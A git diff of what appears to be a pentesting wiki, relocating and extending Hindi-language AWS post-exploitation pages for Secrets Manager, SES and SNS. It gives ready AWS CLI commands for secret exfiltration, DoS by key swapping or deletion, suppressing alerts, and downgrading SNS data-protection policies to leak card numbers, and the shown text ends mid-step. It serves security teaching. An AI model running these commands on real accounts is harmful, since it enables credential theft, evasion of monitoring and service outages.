+++ /dev/null
@@ -1,130 +0,0 @@
-# AWS - Secrets Manager Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Secrets Manager
-
-For more information check:
-
-{{#ref}}
-../aws-services/aws-secrets-manager-enum.md
-{{#endref}}
-
-### Read Secrets
-
-The **secrets themselves संवेदनशील जानकारी हैं**, इन्हें कैसे पढ़ना है यह जानने के लिए [check the privesc page](../aws-privilege-escalation/aws-secrets-manager-privesc.md)।
-
-### DoS Change Secret Value
-
-Secret के value को बदलकर आप उस value पर निर्भर सभी सिस्टम्स को **DoS** कर सकते हैं।
-
-> [!WARNING]
-> ध्यान दें कि पिछली values भी संग्रहीत रहती हैं, इसलिए पहले की value पर आसानी से वापस जाना संभव है।
-```bash
-# Requires permission secretsmanager:PutSecretValue
-aws secretsmanager put-secret-value \
---secret-id MyTestSecret \
---secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
-```
-### DoS: KMS key बदलना
-
-यदि attacker के पास secretsmanager:UpdateSecret permission है, तो वे secret को attacker के-owned KMS key का उपयोग करने के लिए configure कर सकते हैं। वह key प्रारम्भ में इस तरह set up की जाती है कि कोई भी उसे access और use कर सके, इसलिए secret को नए key के साथ update करना possible होता है। यदि वह key accessible नहीं होती, तो secret को update नहीं किया जा सकता था।
-
-secret के लिए key बदलने के बाद, attacker अपनी key की configuration इस तरह modify कर देता है कि केवल वही उसे access कर सके। इस तरह, secret के subsequent versions नई key से encrypted होंगे, और चूंकि उस key तक कोई access नहीं होगा, secret को retrieve करने की ability खो जाएगी।
-
-यह ध्यान देने योग्य है कि यह पहुँच बंद होना केवल बाद के versions में ही होगा, जब secret की content बदल जाएगी, क्योंकि current version अभी भी original KMS key से encrypted है।
-```bash
-aws secretsmanager update-secret \
---secret-id MyTestSecret \
---kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
-```
-### DoS Secret को डिलीट करना
-
-किसी Secret को डिलीट करने के लिए न्यूनतम अवधि 7 दिन है
-```bash
-aws secretsmanager delete-secret \
---secret-id MyTestSecret \
---recovery-window-in-days 7
-```
-## secretsmanager:RestoreSecret
-
-एक secret को पुनर्स्थापित करना संभव है, जो उन secrets की बहाली की अनुमति देता है जो deletion के लिए शेड्यूल किए गए हैं, क्योंकि secrets के लिए न्यूनतम deletion अवधि 7 days है और अधिकतम 30 days है। secretsmanager:GetSecretValue permission के साथ मिलकर, इससे उनके contents को प्राप्त करना संभव हो जाता है।
-
-जिस secret को हटाए जाने की प्रक्रिया में है उसे recover करने के लिए, आप निम्नलिखित command का उपयोग कर सकते हैं:
-```bash
-aws secretsmanager restore-secret \
---secret-id 
-```
-## secretsmanager:DeleteResourcePolicy
-
-यह क्रिया उस resource policy को हटाने की अनुमति देती है जो नियंत्रित करती है कि कौन किसी secret तक पहुँच सकता है। यदि resource policy को किसी विशिष्ट उपयोगकर्ताओं के समूह को पहुँच देने के लिए कॉन्फ़िगर किया गया था तो इससे DoS हो सकता है।
-
-resource policy को हटाने के लिए:
-```bash
-aws secretsmanager delete-resource-policy \
---secret-id 
-```
-## secretsmanager:UpdateSecretVersionStage
-
-एक secret की states का उपयोग secret के versions का प्रबंधन करने के लिए किया जाता है। AWSCURRENT उस सक्रिय संस्करण को चिह्नित करता है जिसे एप्लिकेशन उपयोग करते हैं, AWSPREVIOUS पिछला संस्करण रखता है ताकि आवश्यक होने पर आप रोलबैक कर सकें, और AWSPENDING rotation प्रक्रिया में एक नए संस्करण को वर्तमान बनाने से पहले उसे तैयार और मान्य करने के लिए उपयोग होता है।
-
-एप्लिकेशन हमेशा AWSCURRENT वाले संस्करण को पढ़ते हैं। यदि कोई उस लेबल को गलत संस्करण पर स्थानांतरित कर देता है, तो ऐप्स अमान्य क्रेडेंशियल्स का उपयोग करेंगे और विफल हो सकते हैं।
-
-AWSPREVIOUS स्वतः उपयोग में नहीं आता। हालांकि, यदि AWSCURRENT हटा दिया जाता है या गलत तरीके से पुनः असाइन किया जाता है, तो ऐसा लग सकता है कि सब कुछ अभी भी पिछले संस्करण के साथ चल रहा है।
-```bash
-aws secretsmanager update-secret-version-stage \
---secret-id  \
---version-stage AWSCURRENT \
---move-to-version-id  \
---remove-from-version-id 
-```
-{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
-
-### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)
-
-Secrets Manager के BatchGetSecretValue API का दुरुपयोग करके एक ही अनुरोध में 20 तक secrets पुनःप्राप्त करें। यह प्रति-secret GetSecretValue को बार-बार चलाने की तुलना में API-कॉल की मात्रा को काफी कम कर सकता है। यदि --filters (tags/name) का उपयोग किया जाता है तो ListSecrets permission भी आवश्यक है। CloudTrail फिर भी बैच से पुनःप्राप्त प्रत्येक secret के लिए एक GetSecretValue इवेंट रिकॉर्ड करता है।
-
-Required permissions
-- secretsmanager:BatchGetSecretValue
-- secretsmanager:GetSecretValue प्रत्येक लक्षित secret के लिए
-- secretsmanager:ListSecrets अगर --filters का उपयोग कर रहे हों
-- kms:Decrypt उन CMKs पर जो secrets के लिए उपयोग किए गए हैं (यदि aws/secretsmanager का उपयोग नहीं कर रहे हैं)
-
-> [!WARNING]
-> ध्यान दें कि permission `secretsmanager:BatchGetSecretValue` अकेला secrets पुनःप्राप्त करने के लिए पर्याप्त नहीं है; आपको उन प्रत्येक secret को पुनःप्राप्त करने के लिए `secretsmanager:GetSecretValue` भी चाहिए।
-
-Exfiltrate by explicit list
-```bash
-aws secretsmanager batch-get-secret-value \
---secret-id-list    \
---query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
-```
-Exfiltrate फ़िल्टर के द्वारा (tag key/value या name prefix)
-```bash
-# By tag key
-aws secretsmanager batch-get-secret-value \
---filters Key=tag-key,Values=env \
---max-results 20 \
---query 'SecretValues[].{Name:Name,Val:SecretString}'
-
-# By tag value
-aws secretsmanager batch-get-secret-value \
---filters Key=tag-value,Values=prod \
---max-results 20
-
-# By name prefix
-aws secretsmanager batch-get-secret-value \
---filters Key=name,Values=MyApp
-```
-आंशिक विफलताओं का प्रबंधन
-```bash
-# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
-aws secretsmanager batch-get-secret-value --secret-id-list   
-```
-प्रभाव
-- कम API कॉल्स के साथ कई secrets का तेज़ “smash-and-grab”, जो संभावित रूप से GetSecretValue में स्पाइक्स के लिए ट्यून किए गए अलर्टिंग को बायपास कर सकता है।
-- CloudTrail लॉग्स अभी भी बैच द्वारा प्राप्त प्रत्येक secret के लिए एक GetSecretValue इवेंट शामिल करते हैं।
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md
new file mode 100644
index 000000000..820c2d599
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md
@@ -0,0 +1,132 @@
+# AWS - Secrets Manager Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Secrets Manager
+
+अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+../../aws-services/aws-secrets-manager-enum.md
+{{#endref}}
+
+### Read Secrets
+
+**secrets स्वयं संवेदनशील जानकारी हैं**, [check the privesc page](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) यह जानने के लिए कि इन्हें कैसे पढ़ा जाए।
+
+### DoS Change Secret Value
+
+secret के मान को बदलकर आप उन सभी सिस्टमों को **DoS** कर सकते हैं जो उस मान पर निर्भर करते हैं।
+
+> [!WARNING]
+> ध्यान दें कि पिछले मान भी संग्रहीत रहते हैं, इसलिए पहले वाले मान पर वापस जाना आसान है।
+```bash
+# Requires permission secretsmanager:PutSecretValue
+aws secretsmanager put-secret-value \
+--secret-id MyTestSecret \
+--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
+```
+### DoS Change KMS key
+
+यदि हमलावर के पास secretsmanager:UpdateSecret अनुमति है, तो वे secret को ऐसे KMS key का उपयोग करने के लिए कॉन्फ़िगर कर सकते हैं जो हमलावर के स्वामित्व में हो। वह key शुरू में इस तरह सेट की जाती है कि कोई भी उससे एक्सेस और उपयोग कर सके, इसलिए secret को नई key के साथ अपडेट करना संभव होता है। यदि वह key उपलब्ध नहीं होती, तो secret को अपडेट नहीं किया जा सकता था।
+
+secret के लिए key बदलने के बाद, हमलावर अपनी key की कॉन्फ़िगरेशन बदल देता है ताकि केवल वही ही उसे एक्सेस कर सके। इस तरह, secret के अगले वर्ज़नों में वह नई key से एन्क्रिप्ट होगा, और क्योंकि उस key तक पहुँच नहीं होगी, secret को पुनः प्राप्त करने की क्षमता खो जाएगी।
+
+यह ध्यान रखना महत्वपूर्ण है कि यह अनुपलब्धता केवल बाद के वर्ज़नों में ही होगी, जब secret की सामग्री बदल जाएगी, क्योंकि वर्तमान वर्ज़न अभी भी मूल KMS key से एन्क्रिप्टेड है।
+```bash
+aws secretsmanager update-secret \
+--secret-id MyTestSecret \
+--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
+```
+### DoS Deleting Secret
+
+एक secret को delete करने के लिए न्यूनतम दिनों की संख्या 7 है।
+```bash
+aws secretsmanager delete-secret \
+--secret-id MyTestSecret \
+--recovery-window-in-days 7
+```
+## secretsmanager:RestoreSecret
+
+यह संभव है कि आप किसी secret को restore कर सकें, जो उन secrets को पुनर्स्थापित करने की अनुमति देता है जिन्हें deletion के लिए शेड्यूल किया गया है, क्योंकि secrets के लिए न्यूनतम deletion अवधि 7 दिन और अधिकतम 30 दिन है। secretsmanager:GetSecretValue permission के साथ मिलकर, यह उनकी सामग्री प्राप्त करने में सक्षम बनता है।
+
+जिस secret को हटाने की प्रक्रिया में रखा गया है उसे recover करने के लिए, आप निम्नलिखित command का उपयोग कर सकते हैं:
+```bash
+aws secretsmanager restore-secret \
+--secret-id 
+```
+## secretsmanager:DeleteResourcePolicy
+
+यह क्रिया उस resource policy को हटाने की अनुमति देती है जो नियंत्रित करती है कि कौन किसी secret तक पहुँच सकता है।  
+
+यदि resource policy को किसी विशिष्ट उपयोगकर्ताओं के समूह को एक्सेस की अनुमति देने के लिए कॉन्फ़िगर किया गया था, तो यह DoS का कारण बन सकता है।  
+
+Resource policy हटाने के लिए:
+```bash
+aws secretsmanager delete-resource-policy \
+--secret-id 
+```
+## secretsmanager:UpdateSecretVersionStage
+
+एक secret की स्थितियाँ उसके संस्करणों का प्रबंधन करने के लिए उपयोग की जाती हैं। AWSCURRENT उस सक्रिय संस्करण को चिह्नित करता है जिसका उपयोग एप्लिकेशन करते हैं, AWSPREVIOUS पिछले संस्करण को रखता है ताकि आवश्यक होने पर आप रोलबैक कर सकें, और AWSPENDING रोटेशन प्रक्रिया में किसी नए संस्करण को current बनाने से पहले उसे तैयार और सत्यापित करने के लिए उपयोग होता है।
+
+एप्लिकेशन हमेशा AWSCURRENT वाले संस्करण को पढ़ते हैं। यदि कोई वह लेबल गलत संस्करण पर स्थानांतरित कर देता है, तो एप्स अमान्य क्रेडेंशियल्स का उपयोग करेंगे और विफल हो सकते हैं।
+
+AWSPREVIOUS स्वतः उपयोग में नहीं आता। हालांकि, यदि AWSCURRENT हटा दिया जाए या गलत तरीके से पुनः असाइन किया जाए, तो ऐसा प्रतीत हो सकता है कि सब कुछ अभी भी पिछले संस्करण पर चल रहा है।
+```bash
+aws secretsmanager update-secret-version-stage \
+--secret-id  \
+--version-stage AWSCURRENT \
+--move-to-version-id  \
+--remove-from-version-id 
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)
+
+Secrets Manager BatchGetSecretValue API का दुरुपयोग करके एक ही अनुरोध में अधिकतम 20 secrets प्राप्त करें। यह प्रत्येक secret के लिए GetSecretValue को दोहराने की तुलना में API-कॉल की मात्रा को नाटकीय रूप से कम कर सकता है। यदि filters (tags/name) इस्तेमाल किए जाते हैं, तो ListSecrets अनुमति भी आवश्यक है। CloudTrail तब भी बैच में प्राप्त प्रत्येक secret के लिए एक GetSecretValue इवेंट रिकॉर्ड करता है।
+
+आवश्यक अनुमतियाँ
+- secretsmanager:BatchGetSecretValue
+- secretsmanager:GetSecretValue — प्रत्येक लक्षित secret के लिए
+- secretsmanager:ListSecrets — यदि --filters का उपयोग कर रहे हैं
+- kms:Decrypt — उन CMKs पर जिनका उपयोग secrets द्वारा किया गया है (यदि aws/secretsmanager का उपयोग नहीं कर रहे हैं)
+
+> [!WARNING]
+> ध्यान दें कि अनुमति `secretsmanager:BatchGetSecretValue` अकेले secrets प्राप्त करने के लिए पर्याप्त नहीं है; आपको प्रत्येक secret को प्राप्त करने के लिए `secretsmanager:GetSecretValue` भी चाहिए।
+
+Exfiltrate by explicit list
+```bash
+aws secretsmanager batch-get-secret-value \
+--secret-id-list    \
+--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
+```
+Exfiltrate द्वारा filters (tag key/value या name prefix)
+```bash
+# By tag key
+aws secretsmanager batch-get-secret-value \
+--filters Key=tag-key,Values=env \
+--max-results 20 \
+--query 'SecretValues[].{Name:Name,Val:SecretString}'
+
+# By tag value
+aws secretsmanager batch-get-secret-value \
+--filters Key=tag-value,Values=prod \
+--max-results 20
+
+# By name prefix
+aws secretsmanager batch-get-secret-value \
+--filters Key=name,Values=MyApp
+```
+आंशिक विफलताओं को संभालना
+```bash
+# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
+aws secretsmanager batch-get-secret-value --secret-id-list   
+```
+प्रभाव
+- कम API calls के साथ कई secrets का त्वरित “smash-and-grab”, संभावित रूप से उन alerting को बायपास कर सकता है जो GetSecretValue के spikes पर tuned हैं।
+- CloudTrail logs में batch द्वारा retrieve किए गए प्रत्येक secret के लिए अभी भी एक GetSecretValue event शामिल होता है।
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md
similarity index 55%
rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md
index 2593f6c08..fc89a4bfb 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md
@@ -1,13 +1,13 @@
-# AWS - SES पोस्ट एक्सप्लॉइटेशन
+# AWS - SES Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## SES
 
 अधिक जानकारी के लिए देखें:
 
 {{#ref}}
-../aws-services/aws-ses-enum.md
+../../aws-services/aws-ses-enum.md
 {{#endref}}
 
 ### `ses:SendEmail`
@@ -17,7 +17,7 @@
 aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
 aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
 ```
-अभी परीक्षण करना बाकी है।
+अभी परीक्षण शेष है।
 
 ### `ses:SendRawEmail`
 
@@ -29,7 +29,7 @@ aws ses send-raw-email --raw-message file://message.json
 
 ### `ses:SendTemplatedEmail`
 
-एक टेम्पलेट के आधार पर एक ईमेल भेजें।
+टेम्पलेट के आधार पर एक ईमेल भेजें।
 ```bash
 aws ses  send-templated-email --source  --destination  --template 
 ```
@@ -37,7 +37,7 @@ aws ses  send-templated-email --source  --destination  --template
 
 ### `ses:SendBulkTemplatedEmail`
 
-कई गंतव्यों पर एक ईमेल भेजें
+एक ईमेल कई गंतव्यों पर भेजें
 ```bash
 aws ses send-bulk-templated-email --source  --template 
 ```
@@ -45,13 +45,13 @@ aws ses send-bulk-templated-email --source  --template 
 
 ### `ses:SendBulkEmail`
 
-कई गंतव्यों पर एक ईमेल भेजें।
+एक ईमेल कई गंतव्यों पर भेजें।
 ```
 aws sesv2 send-bulk-email --default-content  --bulk-email-entries 
 ```
 ### `ses:SendBounce`
 
-एक **बाउंस ईमेल** भेजें जो प्राप्त ईमेल पर हो (यह संकेत करते हुए कि ईमेल प्राप्त नहीं किया जा सका)। यह केवल **ईमेल प्राप्त करने के 24 घंटे के भीतर** किया जा सकता है।
+प्राप्त ईमेल पर एक **bounce email** भेजें (यह संकेत देता है कि ईमेल प्राप्त नहीं किया जा सका)। यह केवल ईमेल प्राप्त होने के **24h के भीतर** किया जा सकता है।
 ```bash
 aws ses send-bounce --original-message-id  --bounce-sender  --bounced-recipient-info-list 
 ```
@@ -59,11 +59,11 @@ aws ses send-bounce --original-message-id  --bounce-sender  --boun
 
 ### `ses:SendCustomVerificationEmail`
 
-यह एक अनुकूलित सत्यापन ईमेल भेजेगा। आपको टेम्पलेट ईमेल बनाने के लिए भी अनुमतियों की आवश्यकता हो सकती है।
+यह कस्टमाइज़्ड सत्यापन ईमेल भेजेगा। आपको टेम्पलेट ईमेल बनाने की अनुमति भी चाहिए हो सकती है।
 ```bash
 aws ses send-custom-verification-email --email-address  --template-name 
 aws sesv2 send-custom-verification-email --email-address  --template-name 
 ```
-अभी परीक्षण करना बाकी है। 
+अभी परीक्षण बाकी है।
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
deleted file mode 100644
index 48fa2305f..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
+++ /dev/null
@@ -1,68 +0,0 @@
-# AWS - SNS पोस्ट एक्सप्लॉइटेशन
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SNS
-
-अधिक जानकारी के लिए:
-
-{{#ref}}
-../aws-services/aws-sns-enum.md
-{{#endref}}
-
-### संदेशों को बाधित करें
-
-कई मामलों में, SNS विषयों का उपयोग उन प्लेटफार्मों को संदेश भेजने के लिए किया जाता है जो निगरानी में हैं (ईमेल, स्लैक संदेश...)। यदि एक हमलावर उन संदेशों को भेजने से रोकता है जो इसके क्लाउड में उपस्थिति के बारे में चेतावनी देते हैं, तो वह अदृश्य रह सकता है।
-
-### `sns:DeleteTopic`
-
-एक हमलावर पूरे SNS विषय को हटा सकता है, जिससे संदेशों का नुकसान होता है और उन अनुप्रयोगों पर प्रभाव पड़ता है जो विषय पर निर्भर करते हैं।
-```bash
-aws sns delete-topic --topic-arn 
-```
-**संभावित प्रभाव**: हटाए गए विषय का उपयोग करने वाले अनुप्रयोगों के लिए संदेश हानि और सेवा में विघटन।
-
-### `sns:Publish`
-
-एक हमलावर SNS विषय पर दुर्भावनापूर्ण या अवांछित संदेश भेज सकता है, जिससे डेटा भ्रष्टाचार, अनपेक्षित क्रियाओं को ट्रिगर करने, या संसाधनों का समाप्त होना हो सकता है।
-```bash
-aws sns publish --topic-arn  --message 
-```
-**संभावित प्रभाव**: डेटा भ्रष्टाचार, अनपेक्षित क्रियाएँ, या संसाधन समाप्ति।
-
-### `sns:SetTopicAttributes`
-
-एक हमलावर SNS विषय के गुणों को संशोधित कर सकता है, जो इसके प्रदर्शन, सुरक्षा, या उपलब्धता को प्रभावित कर सकता है।
-```bash
-aws sns set-topic-attributes --topic-arn  --attribute-name  --attribute-value 
-```
-**संभावित प्रभाव**: गलत कॉन्फ़िगरेशन के कारण प्रदर्शन में कमी, सुरक्षा समस्याएँ, या उपलब्धता में कमी।
-
-### `sns:Subscribe` , `sns:Unsubscribe`
-
-एक हमलावर एक SNS विषय में सदस्यता ले सकता है या सदस्यता समाप्त कर सकता है, संभावित रूप से संदेशों तक अनधिकृत पहुँच प्राप्त कर सकता है या विषय पर निर्भर करने वाले अनुप्रयोगों के सामान्य कार्य को बाधित कर सकता है।
-```bash
-aws sns subscribe --topic-arn  --protocol  --endpoint 
-aws sns unsubscribe --subscription-arn 
-```
-**संभावित प्रभाव**: संदेशों तक अनधिकृत पहुंच, प्रभावित विषय पर निर्भर करने वाले अनुप्रयोगों के लिए सेवा में बाधा।
-
-### `sns:AddPermission` , `sns:RemovePermission`
-
-एक हमलावर अनधिकृत उपयोगकर्ताओं या सेवाओं को एक SNS विषय तक पहुंच प्रदान कर सकता है, या वैध उपयोगकर्ताओं के लिए अनुमतियों को रद्द कर सकता है, जिससे उस विषय पर निर्भर करने वाले अनुप्रयोगों के सामान्य कार्य में बाधा उत्पन्न होती है।
-```css
-aws sns add-permission --topic-arn  --label  --aws-account-id  --action-name 
-aws sns remove-permission --topic-arn  --label 
-```
-**संभावित प्रभाव**: विषय तक अनधिकृत पहुंच, संदेश का खुलासा, या अनधिकृत उपयोगकर्ताओं या सेवाओं द्वारा विषय में हेरफेर, विषय पर निर्भर करने वाले अनुप्रयोगों के सामान्य कार्य में बाधा।
-
-### `sns:TagResource` , `sns:UntagResource`
-
-एक हमलावर SNS संसाधनों से टैग जोड़ सकता है, संशोधित कर सकता है, या हटा सकता है, जिससे आपकी संगठन की लागत आवंटन, संसाधन ट्रैकिंग, और टैग के आधार पर पहुंच नियंत्रण नीतियों में बाधा उत्पन्न हो सकती है।
-```bash
-aws sns tag-resource --resource-arn  --tags Key=,Value=
-aws sns untag-resource --resource-arn  --tag-keys 
-```
-**संभावित प्रभाव**: लागत आवंटन, संसाधन ट्रैकिंग, और टैग-आधारित पहुंच नियंत्रण नीतियों में विघटन। 
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md
new file mode 100644
index 000000000..a9708202f
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md
@@ -0,0 +1,82 @@
+# AWS - SNS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SNS
+
+अधिक जानकारी के लिए:
+
+{{#ref}}
+../../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### संदेशों को बाधित करना
+
+कई मामलों में, SNS topics का उपयोग उन प्लेटफॉर्म्स (emails, slack messages...) पर संदेश भेजने के लिए किया जाता है जिन्हें मॉनिटर किया जा रहा होता है। यदि कोई हमलावर क्लाउड में अपनी मौजूदगी की चेतावनी देने वाले संदेशों के भेजे जाने को रोक दे, तो वह अनदेखा रह सकता है।
+
+### `sns:DeleteTopic`
+
+एक हमलावर पूरे SNS topic को हटा सकता है, जिससे संदेश खो सकते हैं और उन एप्लिकेशनों पर असर पड़ेगा जो उस topic पर निर्भर हैं।
+```bash
+aws sns delete-topic --topic-arn 
+```
+**संभावित प्रभाव**: संदेशों का नुकसान और हटाए गए SNS topic का उपयोग करने वाले एप्लिकेशन के लिए सेवा में व्यवधान।
+
+### `sns:Publish`
+
+एक हमलावर SNS topic पर हानिकारक या अनवांछित संदेश भेज सकता है, जो संभावित रूप से डेटा भ्रष्ट कर सकता है, अनपेक्षित क्रियाओं को प्रेरित कर सकता है, या संसाधनों का अत्यधिक उपयोग कर सकता है।
+```bash
+aws sns publish --topic-arn  --message 
+```
+**संभावित प्रभाव**: डेटा भ्रष्टाचार, अनिच्छित क्रियाएँ, या संसाधन समाप्ति।
+
+### `sns:SetTopicAttributes`
+
+एक हमलावर SNS टॉपिक की विशेषताएँ बदल सकता है, जो संभावित रूप से इसके प्रदर्शन, सुरक्षा, या उपलब्धता को प्रभावित कर सकता है।
+```bash
+aws sns set-topic-attributes --topic-arn  --attribute-name  --attribute-value 
+```
+**संभावित प्रभाव**: Misconfigurations leading to degraded performance, security issues, or reduced availability.
+
+### `sns:Subscribe` , `sns:Unsubscribe`
+
+एक attacker SNS topic के लिए subscribe या unsubscribe कर सकता है, जिससे वह संभावित रूप से unauthorized access to messages प्राप्त कर सकता है या उन applications के सामान्य कार्य में बाधा डाल सकता है जो उस topic पर निर्भर हैं।
+```bash
+aws sns subscribe --topic-arn  --protocol  --endpoint 
+aws sns unsubscribe --subscription-arn 
+```
+**संभावित प्रभाव**: संदेशों तक अनधिकृत पहुँच, प्रभावित टॉपिक पर निर्भर अनुप्रयोगों के लिए सेवा में व्यवधान।
+
+### `sns:AddPermission` , `sns:RemovePermission`
+
+एक हमलावर अनधिकृत उपयोगकर्ताओं या सेवाओं को किसी SNS टॉपिक तक पहुँच दे सकता है, या वैध उपयोगकर्ताओं की अनुमतियाँ रद्द कर सकता है, जिससे उन अनुप्रयोगों के सामान्य कामकाज में बाधा उत्पन्न हो सकती है जो उस टॉपिक पर निर्भर हैं।
+```bash
+aws sns add-permission --topic-arn  --label  --aws-account-id  --action-name 
+aws sns remove-permission --topic-arn  --label 
+```
+**संभावित प्रभाव**: अनधिकृत उपयोगकर्ताओं या सेवाओं द्वारा topic तक अनधिकृत पहुँच, संदेशों का प्रकटीकरण, या topic में हेरफेर — और उन एप्लिकेशन के सामान्य कार्य में व्यवधान जो topic पर निर्भर करते हैं।
+
+### `sns:TagResource` , `sns:UntagResource`
+
+एक attacker SNS resources पर tags जोड़ सकता है, संशोधित कर सकता है, या हटा सकता है, जिससे आपके संगठन की लागत-आवंटन, संसाधन ट्रैकिंग, और टैग-आधारित पहुँच नियंत्रण नीतियाँ प्रभावित हो सकती हैं।
+```bash
+aws sns tag-resource --resource-arn  --tags Key=,Value=
+aws sns untag-resource --resource-arn  --tag-keys 
+```
+**संभावित प्रभाव**: लागत आवंटन, संसाधन ट्रैकिंग, और टैग-आधारित एक्सेस नियंत्रण नीतियों में व्यवधान।
+
+### More SNS Post-Exploitation Techniques
+
+{{#ref}}
+aws-sns-data-protection-bypass.md
+{{#endref}}
+
+{{#ref}}
+aws-sns-fifo-replay-exfil.md
+{{#endref}}
+
+{{#ref}}
+aws-sns-firehose-exfil.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md
new file mode 100644
index 000000000..b6d122672
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md
@@ -0,0 +1,92 @@
+# AWS - SNS Message Data Protection Bypass via Policy Downgrade
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+यदि आपके पास किसी topic पर `sns:PutDataProtectionPolicy` की अनुमति है, तो आप इसकी Message Data Protection policy को Deidentify/Deny से Audit-only (या Outbound controls हटाकर) में बदल सकते हैं ताकि संवेदनशील मान (उदा., credit card numbers) बिना संशोधन के आपकी subscription पर भेजे जाएँ।
+
+## आवश्यकताएँ
+- लक्ष्य topic पर `sns:PutDataProtectionPolicy` कॉल करने की permissions (और आमतौर पर `sns:Subscribe` यदि आप डेटा प्राप्त करना चाहते हैं)।
+- Standard SNS topic (Message Data Protection समर्थित)।
+
+## Attack Steps
+
+- Variables
+
+```bash
+REGION=us-east-1
+```
+
+1) एक Standard topic और एक attacker SQS queue बनाएँ, और केवल इस topic को उस queue को भेजने की अनुमति दें
+
+```bash
+TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
+Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
+```
+
+2) एक data protection policy attach करें जो outbound messages पर credit card numbers को mask करे
+
+```bash
+cat > /tmp/ht-dlp-policy.json <<'JSON'
+{
+"Name": "__ht_dlp_policy",
+"Version": "2021-06-01",
+"Statement": [{
+"Sid": "MaskCCOutbound",
+"Principal": ["*"],
+"DataDirection": "Outbound",
+"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
+"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
+}]
+}
+JSON
+aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
+```
+
+3) attacker queue को subscribe करें और एक test CC नंबर के साथ message publish करें, masking को verify करें
+
+```bash
+SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
+aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
+```
+
+अपेक्षित अंश masking (हैश) दिखाता है:
+```json
+"Message" : "payment:{cc:################}"
+```
+4) नीति को audit-only में डाउनग्रेड करें (कोई deidentify/deny स्टेटमेंट जो Outbound को प्रभावित करते हैं नहीं)
+
+SNS के लिए, Audit स्टेटमेंट्स को Inbound होना चाहिए। नीति को Audit-only Inbound स्टेटमेंट से बदलने से किसी भी Outbound de-identification को हटा दिया जाता है, इसलिए संदेश बिना बदले subscribers को भेजे जाते हैं।
+```bash
+cat > /tmp/ht-dlp-audit-only.json <<'JSON'
+{
+"Name": "__ht_dlp_policy",
+"Version": "2021-06-01",
